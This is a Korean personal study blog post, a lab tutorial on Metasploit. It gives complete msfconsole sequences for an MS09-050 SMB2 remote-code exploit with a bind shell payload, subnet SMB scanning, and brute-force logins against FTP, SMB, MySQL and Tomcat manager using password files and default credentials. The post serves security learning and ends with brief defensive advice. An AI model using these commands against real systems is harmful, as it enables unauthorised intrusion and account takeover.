2024. 1. 1. 14:27ㆍInformation Security 정보보안/System Security 시스템 보안
배울 내용:
ftp 해킹
DoS/DdoS
Metaploit
BindTCP
ScanningTomCap Brute Force
db 해킹
데이터베이스 해킹
시스템 보안
시스템 해킹
제가 지금 부터 작성하는 모든글은 제가 공부기록용이기 때문에 정확하지 않을수 있음을 알려드립니다.
틀린게 있으면 댓글로 써주시면 고치겠습니다.
이번시간에는 MetaSploit 라는걸 배워볼것이다
(여전히 BIND TCP 그러나 metaSploit는 reverse TCP기능도 있다 )
Bind TCP 페이로드
우리가 여태 계속한 방법이다
방식에서, 공격 대상 시스템(즉, 취약한 시스템)은 공격자와의 연결을 위해 특정 포트를 열고 대기
Reverse TCP 페이로드
반대로, Reverse TCP 페이로드에서는 공격 대상 시스템이 공격자의 시스템(서버)에 연결을 시도
결론적으로,
Metasploit 자체가 "bind TCP"는 아니며,
"bind TCP"는 Metasploit 내에서 사용할 수 있는 페이로드 유형 중 하나다 !
Metasploit은 사이버 보안 분야에서 널리 사용되는 강력한 도구로,
주로 취약점 평가 및 침투 테스트에 사용되는데
이 도구는 네트워크 보안 전문가들이 시스템의 취약점을 찾아내고 평가할 수 있도록 돕는다 .
공격 코드, 페이로드 ,인코더 , 정찰 도구, 보안 테스팅(모의침투 테스트)
취약점 점검 ,공격 도구
Exploit : 시스템 , 애플리케이션, 서버등의 취약점을 악용하는 방법
Payload : 시스템 에서 실행하고자 하는 코드로 프레임워크에 의해 전달
Module : Metasploit Framework 에서 사용되는 소프트웨어
Shell Code : 공격시 사용하는 Payload 에 사용되는 명령어의 집합
인코더: 페이로드를 암호화하거나 변형시켜 보안 시스템 탐지를 회피하는 데 사용
나머지 궁금한건 검색해보자!!
Metasploit 시작하는건 딱 한번만 해주면 그후로는 안해줘도 된다
service postgresql start
msfdb init
명령어는 PostgreSQL 데이터베이스 서버를 시작한다 그리고
PostgreSQL 데이터베이스가 정상적으로 작동하고,
Metasploit이 이 데이터베이스와 올바르게 연결되어 있어야만,
Metasploit의 모든 기능을 제대로 사용할 수 있다앗
시작하는건 이거다
msfconsole
그러면 로딩창이 뜨면서
랜 덤 한 화 면을 뛰우면서 이렇게 로그인이 된다
나랑 다르다고해서 오해없길 바란다 다양하게 나올뿐이다 :)
이제 한번 window 2008 에 시도 해보면
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
set payload windows/shell/bind_tcp
set rhost 192.168.10.245
exploit
먼저 ms09_smb2 는 window에 있는 취약점고 이걸약점을 타겟으로 정한다
(원격으로 코드를 실행할수있게하는 취약점)
그러고 set payload 는 격자가 접속할 수 있는 쉘을 열기 위해 특정 포트를 대기 상태로 설정한다
그리곤 "Remote Host"의 약자로, 공격 대상의 IP 주소를 설정한다
exploit 는 익스플로잇과 페이로드를 사용하여 공격을 시작한다
쉽게설명해서 롤에 미스포춘 대포를 생각해보자
미스포춘이 말했다 msfconsole 하라고 (metaexploit 실행)
ms09_smb2.. 이라는 타겟을 설정하고
set payload 로 포탄을 넣고
rhost 라는 방향으로 조준하고
exploit 라는 발사를 하는거다 ! (공격)
와
나 설명 개잘하는듰?
어쨋든 이렇게 된다 그러나 공격이 될수도 안될수도있다
계속 시도를 해보다 보면 되는데 그러면 이러한 화면이 뜬다
그리고 window 에 있는 cmd 처럼 쓰면 된다
한글이 깨져서 나오는건 어떻게 못하나 보다
이젠 다른 방식으로
정보 수집
정보수집또한가능한데
스캐닝(Windows 계열)
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxil...> set rhosts 192.168.10.0/24
> run
이렇게 해볼수있다.
이거는 설명없이도 위에서 설명했던걸 토대로하면 알수있을것이다
참고로 스캐닝이니 당연히 C클래스 전체가 들어가는 것이다
그리고 추가적으로
options 명령어으로 current setting이 비엇는지 설정됐는지 확인기능!
options 하면
SMB Pass, User 가 비어있음 ip 는 채워져있고 port도 445로 채워져있음
이걸 예시로 centos서버로 scanning 해보자
centos
use auxiliary/scanner/ftp/ftp_login
set rhost 192.168.10.101
여기에 이렇게 set이 있다
set username user1
set password 123456
run
그리고 시작을하는데 그이유는 id와 비번을 넣어줘야하기때문이다
USERNAME에 보다시피 아무것도 없고
PASSWORD도 비었다
그러면 저걸 run 한들 아무것도 성공하지못한다
win2008
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.10.245
set SMBUser root
set SMBPass 123456
run
이것도 위에 방식이랑 굉장히 유사하다 그러나 OPTIONS 를 가보면 USERNAME이 아니라
SMBUser 라는걸 알수있다 .
그러면 이번에는 아이디는 아는데 비밀번호는 모를때
비번전용 파일을 만들어서 파일안에 있는 모든 Password를 비교하게 로그인하는방법을 해보자
먼저 /root 에서 vi pass.txt 해준다
그리고 비밀번호 여러개와 실제 비밀번호인 123456을 넣어준다
그뒤 아까 ftp 시도했던것으로 간뒤에 아래와 같이 설정한다
그리고 run
참고로 pass_file 이다 필자도 userpass_file 로 잠깐해서 오류떳다 헷갈리지말자
만약 잘못되면 set userpass_file ="" 하면된다
제대로 설정되면 저렇게 + 에 Login Successful 되면 된것이다 :)
그다음에 ftp 192.168.10.101 해주면 연결되고 cd /home 으로 가서 ls 해주면
centos 서버에 있는 파일이 보이게 된다
cent os 에서 한 ls /home
kali (mataploit에서 ) 한 ls /home
이렇게 보안에 취약하다
그러나 이또한 현재 window에선 방화벽에서 컷됨
그저 이러한 취약점이 있었다 정도로 알면 좋을것같다
db 도 use auxiliary/scanner/mysql/mysql_login 이런식으로 가능하다
조금 더해보면 MYSQL Brute Force 라고
msfconsole
[ 미스포춘이 말하는데 ]
msf6> use auxiliary/scanner/mysql/mysql_login
[ mysql이 타겟이라고 해 ]
msf6> set rhosts 192.168.10.101
[mysql 주소가 저기야 ]
msf6> set user_file /root/userfile.txt
[근데 비번이 긴가민가 헷갈려서 userfile.txt에 다넣엇어 ]
msf6> set pass_file /root/passfile.txt
[ 비번또한 그렇게 설정했어 ]
msf6> set stop_on_success true
[성공하면 스탑하라는것 디폴트는 false ]
(그렇지않으면 성공해도 그다음 비번, id 로 넣어서 시도함)
run
[발사!]
만약 mysql 시험 해보고싶으면
db를 만들어서 user를 하나 넣어줘야하는데 이때
insert 할때 host에 '%' 를 넣어야지 외부 ip가 들어올수있다
그리고 privileges 로 만든 유저에게 권한을 주고
flush privileges 해준뒤
systemctl restart mariadb 해무면 위에 것은 정상적으로 작동할 것이다
이처럼
Tomcat Brute Force 이란것 도 가능하다
Brute Force는 뭔지 알것인데 Tomcat은 처음들어볼것이다
"Tomcat"은 Apache Tomcat을 말하는데
Apache Tomcat은 Java 언어로 작성된 오픈 소스 웹 서버 및 서블릿 컨테이너입니다.
주로 Java Server Pages (JSP)와 Java 서블릿을 실행하는 데 사용되며,
Java 기반의 웹 애플리케이션을 호스팅하는 데 널리 사용됩니다.
Tomcat은 웹 애플리케이션을 개발하고 테스트하는 데 매우 유용한 툴이며,
Java EE (Enterprise Edition) 스펙의 일부분을 구현합니다.
기본적으로 HTTP 서버로 작동하여 웹 페이지를 제공하고,
서블릿과 JSP를 사용하여 동적인 콘텐츠를 생성합니다.
Tomcat은 그 자체로 완전한 웹 서버 기능을 제공하며,
때로는 더 큰 웹 서버 환경 내에서 보조적인 역할을 하기도 합니다.
이때 다른건 기억안해도 우리는 이것이 web 즉 http를 통해서 연결되는걸 알수있다
그리고 보조적인 역할을 하기도 한다
[Tomcat Brute Force]
보조의 라는 듯을 가진 auxiliary 라는걸 우리는 앞서 몇번썻다
그러면 그걸 scanner에 http에 있는걸 찾으면 tomcat_mgr_login 이있다
즉 tomcat manager login 으로
Tomcat의 웹 기반 관리 도구를 의미하고 login 이 있는걸로봐
웹 기반 로그인 관리 도구라고 봐야겠다
그리고 앞에 해줬던것은 다똑같다
tomcap의 default id pass 는 둘다 tomcap 이다
use auxiliary/scanner/http/tomcat_mgr_login
set rhosts 192.168.10.247
공격할 ip주소
options
어떤 포멧으로 id pass 확인해서
set USERNAME tomcap
set PASSWORD tomcap
이렇게 하고
nmap 192.168.10.247
열린포트를 본뒤에
options
내포트를 확인 열려있는 포트가없다면
set rport 8180
열린포트로 설정
set stop_on_success true
그리고 성공하면 멈추기!
run
공격!
점점 가면갈수록 많은공격을 알게된다
우리는 공격을 하기위해서 배우는게 아닌
이를 막기위해서 어떻게 공격이 이뤄지는지를 아는지가 중요하다
막는법은 간단하다. 안쓰는 port는 닫아주고 방화벽 켜주면 끝
해킹하는것의 노력은 60 이면 방어하는거는 40 에불과하다 (갠적인생각)
(아닐수도 있다 왜냐면 이미 알려지지않은 해킹수단이 있을수도 있기 떄문)
만약 중요한 정보자산이 있다면 60의 노력보다 40의 노력에 더 투자해보도록하자
2023년 마지막에 작성하렸는데 술마신다..고 새해넘기고 쓴다
다들 새해복 많이 받으시길
그럼 20000